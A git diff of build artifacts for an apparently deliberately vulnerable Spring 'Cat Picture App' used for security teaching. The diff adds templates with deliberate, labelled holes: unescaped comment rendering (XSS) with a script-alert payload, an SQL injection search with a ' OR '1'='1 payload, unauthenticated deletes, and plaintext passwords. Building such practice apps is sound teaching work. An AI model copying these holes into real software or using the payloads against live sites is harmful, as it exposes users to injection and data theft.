diff --git a/insecure-java/build/classes/java/main/com/example/catapp/repositories/CatPictureRepository.class b/insecure-java/build/classes/java/main/com/example/catapp/repositories/CatPictureRepository.class
new file mode 100644
index 0000000..ed0e9b1
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/repositories/CatPictureRepository.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/repositories/CommentRepository.class b/insecure-java/build/classes/java/main/com/example/catapp/repositories/CommentRepository.class
new file mode 100644
index 0000000..5a9d7b9
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/repositories/CommentRepository.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/catapp/repositories/UserRepository.class b/insecure-java/build/classes/java/main/com/example/catapp/repositories/UserRepository.class
new file mode 100644
index 0000000..9e5fc5a
Binary files /dev/null and b/insecure-java/build/classes/java/main/com/example/catapp/repositories/UserRepository.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/insecurejava/InsecureJavaApplication.class b/insecure-java/build/classes/java/main/com/example/insecurejava/InsecureJavaApplication.class
index 4d7dcfd..82b444b 100644
Binary files a/insecure-java/build/classes/java/main/com/example/insecurejava/InsecureJavaApplication.class and b/insecure-java/build/classes/java/main/com/example/insecurejava/InsecureJavaApplication.class differ
diff --git a/insecure-java/build/classes/java/main/com/example/insecurejava/UnsafeDeserializationController.class b/insecure-java/build/classes/java/main/com/example/insecurejava/UnsafeDeserializationController.class
index ed83a4a..6dcc523 100644
Binary files a/insecure-java/build/classes/java/main/com/example/insecurejava/UnsafeDeserializationController.class and b/insecure-java/build/classes/java/main/com/example/insecurejava/UnsafeDeserializationController.class differ
diff --git a/insecure-java/build/classes/java/test/com/example/insecurejava/InsecureJavaApplicationTests.class b/insecure-java/build/classes/java/test/com/example/insecurejava/InsecureJavaApplicationTests.class
index bda1f57..5d3452a 100644
Binary files a/insecure-java/build/classes/java/test/com/example/insecurejava/InsecureJavaApplicationTests.class and b/insecure-java/build/classes/java/test/com/example/insecurejava/InsecureJavaApplicationTests.class differ
diff --git a/insecure-java/build/libs/insecure-java-0.0.1-SNAPSHOT-plain.jar b/insecure-java/build/libs/insecure-java-0.0.1-SNAPSHOT-plain.jar
index 04bef06..a929bf5 100644
Binary files a/insecure-java/build/libs/insecure-java-0.0.1-SNAPSHOT-plain.jar and b/insecure-java/build/libs/insecure-java-0.0.1-SNAPSHOT-plain.jar differ
diff --git a/insecure-java/build/libs/insecure-java-0.0.1-SNAPSHOT.jar b/insecure-java/build/libs/insecure-java-0.0.1-SNAPSHOT.jar
index 1c22301..ac147e4 100644
Binary files a/insecure-java/build/libs/insecure-java-0.0.1-SNAPSHOT.jar and b/insecure-java/build/libs/insecure-java-0.0.1-SNAPSHOT.jar differ
diff --git a/insecure-java/build/reports/tests/test/classes/com.example.insecurejava.InsecureJavaApplicationTests.html b/insecure-java/build/reports/tests/test/classes/com.example.insecurejava.InsecureJavaApplicationTests.html
index 553f80e..7deef77 100644
--- a/insecure-java/build/reports/tests/test/classes/com.example.insecurejava.InsecureJavaApplicationTests.html
+++ b/insecure-java/build/reports/tests/test/classes/com.example.insecurejava.InsecureJavaApplicationTests.html
@@ -41,7 +41,7 @@ <h1>InsecureJavaApplicationTests</h1>
 </td>
 <td>
 <div class="infoBox" id="duration">
-<div class="counter">0.415s</div>
+<div class="counter">0.136s</div>
 <p>duration</p>
 </div>
 </td>
@@ -79,7 +79,7 @@ <h2>Tests</h2>
 </thead>
 <tr>
 <td class="success">contextLoads()</td>
-<td class="success">0.415s</td>
+<td class="success">0.136s</td>
 <td class="success">passed</td>
 </tr>
 </table>
@@ -87,8 +87,21 @@ <h2>Tests</h2>
 <div id="tab1" class="tab">
 <h2>Standard output</h2>
 <span class="code">
-<pre>19:26:46.061 [Test worker] INFO org.springframework.test.context.support.AnnotationConfigContextLoaderUtils -- Could not detect default configuration classes for test class [com.example.insecurejava.InsecureJavaApplicationTests]: InsecureJavaApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration.
-19:26:46.116 [Test worker] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper -- Found @SpringBootConfiguration com.example.insecurejava.InsecureJavaApplication for test class com.example.insecurejava.InsecureJavaApplicationTests
+<pre>19:30:59.468 [Test worker] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating CacheAwareContextLoaderDelegate from class [org.springframework.test.context.cache.DefaultCacheAwareContextLoaderDelegate]
+19:30:59.473 [Test worker] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating BootstrapContext using constructor [public org.springframework.test.context.support.DefaultBootstrapContext(java.lang.Class,org.springframework.test.context.CacheAwareContextLoaderDelegate)]
+19:30:59.489 [Test worker] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating TestContextBootstrapper for test class [com.example.insecurejava.InsecureJavaApplicationTests] from class [org.springframework.boot.test.context.SpringBootTestContextBootstrapper]
+19:30:59.494 [Test worker] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Neither @ContextConfiguration nor @ContextHierarchy found for test class [com.example.insecurejava.InsecureJavaApplicationTests], using SpringBootContextLoader
+19:30:59.495 [Test worker] DEBUG org.springframework.test.context.support.AbstractContextLoader - Did not detect default resource location for test class [com.example.insecurejava.InsecureJavaApplicationTests]: class path resource [com/example/insecurejava/InsecureJavaApplicationTests-context.xml] does not exist
+19:30:59.495 [Test worker] DEBUG org.springframework.test.context.support.AbstractContextLoader - Did not detect default resource location for test class [com.example.insecurejava.InsecureJavaApplicationTests]: class path resource [com/example/insecurejava/InsecureJavaApplicationTestsContext.groovy] does not exist
+19:30:59.495 [Test worker] INFO org.springframework.test.context.support.AbstractContextLoader - Could not detect default resource locations for test class [com.example.insecurejava.InsecureJavaApplicationTests]: no resource found for suffixes {-context.xml, Context.groovy}.
+19:30:59.496 [Test worker] INFO org.springframework.test.context.support.AnnotationConfigContextLoaderUtils - Could not detect default configuration classes for test class [com.example.insecurejava.InsecureJavaApplicationTests]: InsecureJavaApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration.
+19:30:59.516 [Test worker] DEBUG org.springframework.test.context.support.ActiveProfilesUtils - Could not find an 'annotation declaring class' for annotation type [org.springframework.test.context.ActiveProfiles] and class [com.example.insecurejava.InsecureJavaApplicationTests]
+19:30:59.542 [Test worker] DEBUG org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider - Identified candidate component class: file [/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-java/build/classes/java/main/com/example/insecurejava/InsecureJavaApplication.class]
+19:30:59.549 [Test worker] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Found @SpringBootConfiguration com.example.insecurejava.InsecureJavaApplication for test class com.example.insecurejava.InsecureJavaApplicationTests
+19:30:59.584 [Test worker] DEBUG org.springframework.boot.test.context.SpringBootTestContextBootstrapper - @TestExecutionListeners is not present for class [com.example.insecurejava.InsecureJavaApplicationTests]: using defaults.
+19:30:59.584 [Test worker] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Loaded default TestExecutionListener class names from location [META-INF/spring.factories]: [org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener, org.springframework.test.context.web.ServletTestExecutionListener, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener, org.springframework.test.context.event.ApplicationEventsTestExecutionListener, org.springframework.test.context.support.DependencyInjectionTestExecutionListener, org.springframework.test.context.support.DirtiesContextTestExecutionListener, org.springframework.test.context.transaction.TransactionalTestExecutionListener, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener, org.springframework.test.context.event.EventPublishingTestExecutionListener]
+19:30:59.590 [Test worker] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Using TestExecutionListeners: [org.springframework.test.context.web.ServletTestExecutionListener@3d484181, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener@6111ba37, org.springframework.test.context.event.ApplicationEventsTestExecutionListener@7be58f16, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener@242aa8d9, org.springframework.boot.test.autoconfigure.SpringBootDependencyInjectionTestExecutionListener@5b11a194, org.springframework.test.context.support.DirtiesContextTestExecutionListener@37bd68c3, org.springframework.test.context.transaction.TransactionalTestExecutionListener@60f7cc1d, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener@11eadcba, org.springframework.test.context.event.EventPublishingTestExecutionListener@4721d212, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener@1b065145, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener@45cff11c, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener@207ea13, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener@4bff1903, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener@62dae540, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener@5827af16]
+19:30:59.592 [Test worker] DEBUG org.springframework.test.context.support.AbstractDirtiesContextTestExecutionListener - Before test class: context [DefaultTestContext@a8c1f44 testClass = InsecureJavaApplicationTests, testInstance = [null], testMethod = [null], testException = [null], mergedContextConfiguration = [WebMergedContextConfiguration@150ab4ed testClass = InsecureJavaApplicationTests, locations = '{}', classes = '{class com.example.insecurejava.InsecureJavaApplication}', contextInitializerClasses = '[]', activeProfiles = '{}', propertySourceLocations = '{}', propertySourceProperties = '{org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true}', contextCustomizers = set[org.springframework.boot.test.autoconfigure.actuate.metrics.MetricsExportContextCustomizerFactory$DisableMetricExportContextCustomizer@36a5cabc, org.springframework.boot.test.autoconfigure.properties.PropertyMappingContextCustomizer@0, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverContextCustomizerFactory$Customizer@4ff8d125, org.springframework.boot.test.context.filter.ExcludeFilterContextCustomizer@327bcebd, org.springframework.boot.test.json.DuplicateJsonObjectContextCustomizerFactory$DuplicateJsonObjectContextCustomizer@1339e7aa, org.springframework.boot.test.mock.mockito.MockitoContextCustomizer@0, org.springframework.boot.test.web.client.TestRestTemplateContextCustomizer@31ff43be, org.springframework.boot.test.context.SpringBootTestArgs@1, org.springframework.boot.test.context.SpringBootTestWebEnvironment@6aaceffd], resourceBasePath = 'src/main/webapp', contextLoader = 'org.springframework.boot.test.context.SpringBootContextLoader', parent = [null]], attributes = map['org.springframework.test.context.web.ServletTestExecutionListener.activateListener' -&gt; true]], class annotated with @DirtiesContext [false] with mode [null].
 
   .   ____          _            __ _ _
  /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
@@ -96,11 +109,22 @@ <h2>Standard output</h2>
  \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
   '  |____| .__|_| |_|_| |_\__, | / / / /
  =========|_|==============|___/=/_/_/_/
- :: Spring Boot ::                (v3.2.4)
+ :: Spring Boot ::                (v2.7.3)
 
-2024-03-27T19:26:46.320-04:00  INFO 39301 --- [insecure-java] [    Test worker] c.e.i.InsecureJavaApplicationTests       : Starting InsecureJavaApplicationTests using Java 17.0.10 with PID 39301 (started by confusedcrib in /home/confusedcrib/git/insecure-kubernetes-deployments/insecure-java)
-2024-03-27T19:26:46.321-04:00  INFO 39301 --- [insecure-java] [    Test worker] c.e.i.InsecureJavaApplicationTests       : No active profile set, falling back to 1 default profile: &quot;default&quot;
-2024-03-27T19:26:46.919-04:00  INFO 39301 --- [insecure-java] [    Test worker] c.e.i.InsecureJavaApplicationTests       : Started InsecureJavaApplicationTests in 0.736 seconds (process running for 1.302)
+2024-11-21 19:30:59.742  INFO 37571 --- [    Test worker] c.e.i.InsecureJavaApplicationTests       : Starting InsecureJavaApplicationTests using Java 17.0.10 on james-2023 with PID 37571 (started by confusedcrib in /home/confusedcrib/git/insecure-kubernetes-deployments/insecure-java)
+2024-11-21 19:30:59.742  INFO 37571 --- [    Test worker] c.e.i.InsecureJavaApplicationTests       : No active profile set, falling back to 1 default profile: &quot;default&quot;
+2024-11-21 19:31:00.022  INFO 37571 --- [    Test worker] .s.d.r.c.RepositoryConfigurationDelegate : Bootstrapping Spring Data JPA repositories in DEFAULT mode.
+2024-11-21 19:31:00.032  INFO 37571 --- [    Test worker] .s.d.r.c.RepositoryConfigurationDelegate : Finished Spring Data repository scanning in 3 ms. Found 0 JPA repository interfaces.
+2024-11-21 19:31:00.289  INFO 37571 --- [    Test worker] o.hibernate.jpa.internal.util.LogHelper  : HHH000204: Processing PersistenceUnitInfo [name: default]
+2024-11-21 19:31:00.309  INFO 37571 --- [    Test worker] org.hibernate.Version                    : HHH000412: Hibernate ORM core version 5.6.10.Final
+2024-11-21 19:31:00.370  INFO 37571 --- [    Test worker] o.hibernate.annotations.common.Version   : HCANN000001: Hibernate Commons Annotations {5.1.2.Final}
+2024-11-21 19:31:00.405  INFO 37571 --- [    Test worker] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Starting...
+2024-11-21 19:31:00.487  INFO 37571 --- [    Test worker] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Start completed.
+2024-11-21 19:31:00.494  INFO 37571 --- [    Test worker] org.hibernate.dialect.Dialect            : HHH000400: Using dialect: org.hibernate.dialect.H2Dialect
+2024-11-21 19:31:00.564  INFO 37571 --- [    Test worker] o.h.e.t.j.p.i.JtaPlatformInitiator       : HHH000490: Using JtaPlatform implementation: [org.hibernate.engine.transaction.jta.platform.internal.NoJtaPlatform]
+2024-11-21 19:31:00.567  INFO 37571 --- [    Test worker] j.LocalContainerEntityManagerFactoryBean : Initialized JPA EntityManagerFactory for persistence unit 'default'
+2024-11-21 19:31:00.667  WARN 37571 --- [    Test worker] JpaBaseConfiguration$JpaWebConfiguration : spring.jpa.open-in-view is enabled by default. Therefore, database queries may be performed during view rendering. Explicitly configure spring.jpa.open-in-view to disable this warning
+2024-11-21 19:31:01.024  INFO 37571 --- [    Test worker] c.e.i.InsecureJavaApplicationTests       : Started InsecureJavaApplicationTests in 1.414 seconds (JVM running for 1.915)
 </pre>
 </span>
 </div>
@@ -112,7 +136,7 @@ <h2>Standard output</h2>
 <input id="line-wrapping-toggle" type="checkbox" autocomplete="off"/>
 </label>
 </div>Generated by 
-<a href="http://www.gradle.org">Gradle 7.5</a> at Mar 27, 2024, 7:26:47 PM</p>
+<a href="http://www.gradle.org">Gradle 7.5</a> at Nov 21, 2024, 7:31:01 PM</p>
 </div>
 </div>
 </body>
diff --git a/insecure-java/build/reports/tests/test/index.html b/insecure-java/build/reports/tests/test/index.html
index 7f9c24a..1e78eb3 100644
--- a/insecure-java/build/reports/tests/test/index.html
+++ b/insecure-java/build/reports/tests/test/index.html
@@ -38,7 +38,7 @@ <h1>Test Summary</h1>
 </td>
 <td>
 <div class="infoBox" id="duration">
-<div class="counter">0.415s</div>
+<div class="counter">0.136s</div>
 <p>duration</p>
 </div>
 </td>
@@ -85,7 +85,7 @@ <h2>Packages</h2>
 <td>1</td>
 <td>0</td>
 <td>0</td>
-<td>0.415s</td>
+<td>0.136s</td>
 <td class="success">100%</td>
 </tr>
 </tbody>
@@ -112,7 +112,7 @@ <h2>Classes</h2>
 <td>1</td>
 <td>0</td>
 <td>0</td>
-<td>0.415s</td>
+<td>0.136s</td>
 <td class="success">100%</td>
 </tr>
 </tbody>
@@ -126,7 +126,7 @@ <h2>Classes</h2>
 <input id="line-wrapping-toggle" type="checkbox" autocomplete="off"/>
 </label>
 </div>Generated by 
-<a href="http://www.gradle.org">Gradle 7.5</a> at Mar 27, 2024, 7:26:47 PM</p>
+<a href="http://www.gradle.org">Gradle 7.5</a> at Nov 21, 2024, 7:31:01 PM</p>
 </div>
 </div>
 </body>
diff --git a/insecure-java/build/reports/tests/test/packages/com.example.insecurejava.html b/insecure-java/build/reports/tests/test/packages/com.example.insecurejava.html
index 6f48c1e..c8da917 100644
--- a/insecure-java/build/reports/tests/test/packages/com.example.insecurejava.html
+++ b/insecure-java/build/reports/tests/test/packages/com.example.insecurejava.html
@@ -40,7 +40,7 @@ <h1>Package com.example.insecurejava</h1>
 </td>
 <td>
 <div class="infoBox" id="duration">
-<div class="counter">0.415s</div>
+<div class="counter">0.136s</div>
 <p>duration</p>
 </div>
 </td>
@@ -83,7 +83,7 @@ <h2>Classes</h2>
 <td>1</td>
 <td>0</td>
 <td>0</td>
-<td>0.415s</td>
+<td>0.136s</td>
 <td class="success">100%</td>
 </tr>
 </table>
@@ -96,7 +96,7 @@ <h2>Classes</h2>
 <input id="line-wrapping-toggle" type="checkbox" autocomplete="off"/>
 </label>
 </div>Generated by 
-<a href="http://www.gradle.org">Gradle 7.5</a> at Mar 27, 2024, 7:26:47 PM</p>
+<a href="http://www.gradle.org">Gradle 7.5</a> at Nov 21, 2024, 7:31:01 PM</p>
 </div>
 </div>
 </body>
diff --git a/insecure-java/build/resolvedMainClassName b/insecure-java/build/resolvedMainClassName
deleted file mode 100644
index 261aa28..0000000
--- a/insecure-java/build/resolvedMainClassName
+++ /dev/null
@@ -1 +0,0 @@
-com.example.insecurejava.InsecureJavaApplication
\ No newline at end of file
diff --git a/insecure-java/build/resources/main/application.properties b/insecure-java/build/resources/main/application.properties
index 39412a3..1724494 100644
--- a/insecure-java/build/resources/main/application.properties
+++ b/insecure-java/build/resources/main/application.properties
@@ -1 +1,16 @@
-spring.application.name=insecure-java
+# Server port (optional)
+server.port=8080
+
+# Database configuration
+spring.datasource.url=jdbc:h2:mem:testdb
+spring.datasource.driverClassName=org.h2.Driver
+spring.datasource.username=sa
+spring.datasource.password=
+
+# JPA configuration
+spring.jpa.database-platform=org.hibernate.dialect.H2Dialect
+spring.jpa.show-sql=true
+spring.jpa.hibernate.ddl-auto=create-drop
+
+# Thymeleaf configuration
+spring.thymeleaf.cache=false
diff --git a/insecure-java/build/resources/main/templates/addComment.html b/insecure-java/build/resources/main/templates/addComment.html
new file mode 100644
index 0000000..2c0d0fd
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/addComment.html
@@ -0,0 +1,20 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Add Comment</title>
+</head>
+<body>
+    <h2>Add Comment</h2>
+    <!-- Vulnerability: Cross-Site Scripting (XSS) - User input is not sanitized before being displayed. -->
+    <p><strong>Note:</strong> This page is vulnerable to XSS attacks. Malicious scripts can be injected via the comment field.</p>
+    <form action="#" th:action="@{/addComment}" method="post">
+        <label>Comment:</label><br/>
+        <textarea name="commentText" rows="4" cols="50">&lt;script&gt;alert('XSS Attack');&lt;/script&gt;</textarea><br/>
+        <button type="submit">Add Comment</button>
+    </form>
+    <p>Example Payload:</p>
+    <ul>
+        <li>Comment Text: <code>&lt;script&gt;alert('XSS Attack');&lt;/script&gt;</code></li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/addCommentResult.html b/insecure-java/build/resources/main/templates/addCommentResult.html
new file mode 100644
index 0000000..f146bc8
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/addCommentResult.html
@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Add Comment Result</title>
+</head>
+<body>
+    <h2 th:text="${message}"></h2>
+    <!-- Educational Note: Unsanitized user input can be exploited for XSS attacks. -->
+    <p><strong>Note:</strong> The comment you added may contain scripts that execute when viewing comments.</p>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/comments.html b/insecure-java/build/resources/main/templates/comments.html
new file mode 100644
index 0000000..f1b4d58
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/comments.html
@@ -0,0 +1,15 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Comments</title>
+</head>
+<body>
+    <h2>Comments</h2>
+    <!-- Vulnerability: Cross-Site Scripting (XSS) - Displaying unsanitized user input allows script execution. -->
+    <p><strong>Note:</strong> The comments below are displayed without sanitization, which can lead to XSS attacks.</p>
+    <ul>
+        <!-- Using th:utext renders unsanitized HTML content -->
+        <li th:each="comment : ${comments}" th:utext="${comment.text}"></li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/delete.html b/insecure-java/build/resources/main/templates/delete.html
new file mode 100644
index 0000000..368ebb4
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/delete.html
@@ -0,0 +1,19 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Delete Picture</title>
+</head>
+<body>
+    <h2>Delete Cat Picture</h2>
+    <!-- Vulnerability: Broken Access Control - No authorization checks are performed. -->
+    <p><strong>Note:</strong> This function lacks access control. Any user can delete any picture by specifying its ID.</p>
+    <form action="#" th:action="@{/delete}" method="post">
+        <label>Picture ID: <input type="number" name="id" value="1" /></label><br/>
+        <button type="submit">Delete</button>
+    </form>
+    <p>Example Payload:</p>
+    <ul>
+        <li>Picture ID: <code>1</code></li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/deleteResult.html b/insecure-java/build/resources/main/templates/deleteResult.html
new file mode 100644
index 0000000..c4fd704
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/deleteResult.html
@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Delete Result</title>
+</head>
+<body>
+    <h2 th:text="${message}"></h2>
+    <!-- Educational Note: Deleting resources without authorization checks leads to broken access control. -->
+    <p><strong>Note:</strong> The picture was deleted without verifying your permissions.</p>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/home.html b/insecure-java/build/resources/main/templates/home.html
new file mode 100644
index 0000000..9c3df3e
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/home.html
@@ -0,0 +1,23 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Home - Cat Picture App</title>
+</head>
+<body>
+    <header>
+        <h1>Welcome to the Cat Picture App</h1>
+        <nav>
+            <a th:href="@{/register}">Register</a> |
+            <a th:href="@{/login}">Login</a> |
+            <a th:href="@{/addComment}">Add Comment</a> |
+            <a th:href="@{/comments}">View Comments</a> |
+            <a th:href="@{/search}">Search Pictures</a> |
+            <a th:href="@{/delete}">Delete Picture</a>
+        </nav>
+    </header>
+    <main>
+        <p>This application demonstrates various security vulnerabilities for educational purposes.</p>
+        <p>Please select an option from the menu above to explore the functionalities.</p>
+    </main>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/layout.html b/insecure-java/build/resources/main/templates/layout.html
new file mode 100644
index 0000000..3241d31
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/layout.html
@@ -0,0 +1,24 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Cat Picture App</title>
+    <meta charset="UTF-8">
+</head>
+<body>
+    <header>
+        <h1>Cat Picture App</h1>
+        <nav>
+            <a th:href="@{/}">Home</a> |
+            <a th:href="@{/register}">Register</a> |
+            <a th:href="@{/login}">Login</a> |
+            <a th:href="@{/addComment}">Add Comment</a> |
+            <a th:href="@{/comments}">View Comments</a> |
+            <a th:href="@{/search}">Search Pictures</a> |
+            <a th:href="@{/delete}">Delete Picture</a>
+        </nav>
+    </header>
+    <main>
+        <div th:replace="${content}"></div>
+    </main>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/login.html b/insecure-java/build/resources/main/templates/login.html
new file mode 100644
index 0000000..a0bc860
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/login.html
@@ -0,0 +1,21 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Login</title>
+</head>
+<body>
+    <h2>Login</h2>
+    <!-- Vulnerability: Broken Authentication - Insecure authentication mechanism without proper session handling. -->
+    <p><strong>Note:</strong> The login process lacks secure session management and uses plaintext passwords.</p>
+    <form action="#" th:action="@{/login}" method="post">
+        <label>Username: <input type="text" name="username" value="user1" /></label><br/>
+        <label>Password: <input type="password" name="password" value="password123" /></label><br/>
+        <button type="submit">Login</button>
+    </form>
+    <p>Example Credentials:</p>
+    <ul>
+        <li>Username: <code>user1</code></li>
+        <li>Password: <code>password123</code></li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/loginResult.html b/insecure-java/build/resources/main/templates/loginResult.html
new file mode 100644
index 0000000..2b8de1f
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/loginResult.html
@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Login Result</title>
+</head>
+<body>
+    <h2 th:text="${message}"></h2>
+    <!-- Educational Note: The lack of secure session management can lead to unauthorized access. -->
+    <p><strong>Note:</strong> The application does not implement secure session management, making it vulnerable to attacks.</p>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/register.html b/insecure-java/build/resources/main/templates/register.html
new file mode 100644
index 0000000..b17c313
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/register.html
@@ -0,0 +1,21 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Register</title>
+</head>
+<body>
+    <h2>Register</h2>
+    <!-- Vulnerability: Broken Authentication - Passwords are stored in plaintext without strength validation. -->
+    <p><strong>Note:</strong> This application stores passwords in plaintext. Please use a simple password for testing purposes.</p>
+    <form action="#" th:action="@{/register}" method="post">
+        <label>Username: <input type="text" name="username" value="user1" /></label><br/>
+        <label>Password: <input type="password" name="password" value="password123" /></label><br/>
+        <button type="submit">Register</button>
+    </form>
+    <p>Example Payload:</p>
+    <ul>
+        <li>Username: <code>user1</code></li>
+        <li>Password: <code>password123</code></li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/registerResult.html b/insecure-java/build/resources/main/templates/registerResult.html
new file mode 100644
index 0000000..fab4c55
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/registerResult.html
@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Registration Result</title>
+</head>
+<body>
+    <h2 th:text="${message}"></h2>
+    <!-- Educational Note: Remember that passwords are stored in plaintext. -->
+    <p><strong>Note:</strong> Your password is stored in plaintext. This is insecure and demonstrates a common vulnerability.</p>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/search.html b/insecure-java/build/resources/main/templates/search.html
new file mode 100644
index 0000000..3dd7302
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/search.html
@@ -0,0 +1,19 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Search Pictures</title>
+</head>
+<body>
+    <h2>Search Cat Pictures</h2>
+    <!-- Vulnerability: SQL Injection - User input is directly concatenated into SQL queries. -->
+    <p><strong>Note:</strong> This search is vulnerable to SQL Injection attacks. Malicious SQL code can be injected via the name field.</p>
+    <form action="#" th:action="@{/search}" method="post">
+        <label>Name: <input type="text" name="name" value="' OR '1'='1" /></label><br/>
+        <button type="submit">Search</button>
+    </form>
+    <p>Example Payload:</p>
+    <ul>
+        <li>Name: <code>' OR '1'='1</code></li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/build/resources/main/templates/searchResults.html b/insecure-java/build/resources/main/templates/searchResults.html
new file mode 100644
index 0000000..289f81c
--- /dev/null
+++ b/insecure-java/build/resources/main/templates/searchResults.html
@@ -0,0 +1,17 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Search Results</title>
+</head>
+<body>
+    <h2>Search Results</h2>
+    <p>Results for your search query:</p>
+    <ul>
+        <li th:each="picture : ${pictures}">
+            <img th:src="${picture.url}" th:alt="${picture.name}" width="200"/><br/>
+            <span th:text="${picture.name}"></span>
+        </li>
+    </ul>
+    <!-- Educational Note: If you used the SQL Injection payload, you might see all records returned. -->
+</body>
+</html>
diff --git a/insecure-java/build/test-results/test/TEST-com.example.insecurejava.InsecureJavaApplicationTests.xml b/insecure-java/build/test-results/test/TEST-com.example.insecurejava.InsecureJavaApplicationTests.xml
index 424de0a..2c040bf 100644
--- a/insecure-java/build/test-results/test/TEST-com.example.insecurejava.InsecureJavaApplicationTests.xml
+++ b/insecure-java/build/test-results/test/TEST-com.example.insecurejava.InsecureJavaApplicationTests.xml
@@ -1,9 +1,22 @@
 <?xml version="1.0" encoding="UTF-8"?>
-<testsuite name="com.example.insecurejava.InsecureJavaApplicationTests" tests="1" skipped="0" failures="0" errors="0" timestamp="2024-03-27T23:26:46" hostname="james-2023" time="0.415">
+<testsuite name="com.example.insecurejava.InsecureJavaApplicationTests" tests="1" skipped="0" failures="0" errors="0" timestamp="2024-11-22T00:31:01" hostname="james-2023" time="0.136">
   <properties/>
-  <testcase name="contextLoads()" classname="com.example.insecurejava.InsecureJavaApplicationTests" time="0.415"/>
-  <system-out><![CDATA[19:26:46.061 [Test worker] INFO org.springframework.test.context.support.AnnotationConfigContextLoaderUtils -- Could not detect default configuration classes for test class [com.example.insecurejava.InsecureJavaApplicationTests]: InsecureJavaApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration.
